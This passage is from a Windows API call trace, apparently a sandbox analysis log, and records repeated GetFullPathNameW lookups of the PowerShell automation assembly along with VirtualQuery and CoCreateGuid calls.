lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.845] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.845] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.846] GetLastError () returned 0x0 [0096.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.847] GetLastError () returned 0x0 [0096.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.848] GetLastError () returned 0x0 [0096.848] VirtualQuery (in: lpAddress=0x27d510, lpBuffer=0x27e510, dwLength=0x1c | out: lpBuffer=0x27e510*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.848] GetLastError () returned 0x0 [0096.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.848] GetLastError () returned 0x0 [0096.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.848] GetLastError () returned 0x0 [0096.848] VirtualQuery (in: lpAddress=0x27d510, lpBuffer=0x27e510, dwLength=0x1c | out: lpBuffer=0x27e510*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.850] GetLastError () returned 0x0 [0096.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.850] GetLastError () returned 0x0 [0096.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.850] GetLastError () returned 0x0 [0096.850] VirtualQuery (in: lpAddress=0x27d510, lpBuffer=0x27e510, dwLength=0x1c | out: lpBuffer=0x27e510*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.851] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.851] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.852] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.853] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.853] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.853] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.853] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.853] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.854] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.854] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.855] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.855] VirtualQuery (in: lpAddress=0x27d34c, lpBuffer=0x27e34c, dwLength=0x1c | out: lpBuffer=0x27e34c*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.855] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.856] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.856] VirtualQuery (in: lpAddress=0x27d4a8, lpBuffer=0x27e4a8, dwLength=0x1c | out: lpBuffer=0x27e4a8*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.857] VirtualQuery (in: lpAddress=0x27d4e4, lpBuffer=0x27e4e4, dwLength=0x1c | out: lpBuffer=0x27e4e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.857] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x2b78c9f6, Data2=0xf312, Data3=0x4341, Data4=([0]=0x91, [1]=0x71, [2]=0x2, [3]=0x18, [4]=0x4d, [5]=0x4c, [6]=0x8, [7]=0xf2))) returned 0x0 [0096.857] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.857] GetLastError () returned 0x0 [0096.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.858] GetLastError () returned 0x0 [0096.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.858] GetLastError () returned 0x0 [0096.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.858] GetLastError () returned 0x0 [0096.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.858] GetLastError () returned 0x0 [0096.858] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.858] GetLastError () returned 0x0 [0096.858] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x42e8fb9d, Data2=0xb828, Data3=0x4f17, Data4=([0]=0x97, [1]=0x2, [2]=0x4a, [3]=0xed, [4]=0x7b, [5]=0x12, [6]=0x2b, [7]=0xda))) returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df68, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.859] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.859] GetLastError () returned 0x0 [0096.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.860] GetLastError () returned 0x0 [0096.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.860] GetLastError () returned 0x0 [0096.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dce0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.860] GetLastError () returned 0x0 [0096.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.860] GetLastError () returned 0x0 [0096.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.860] GetLastError () returned 0x0 [0096.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.860] GetLastError () returned 0x0 [0096.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 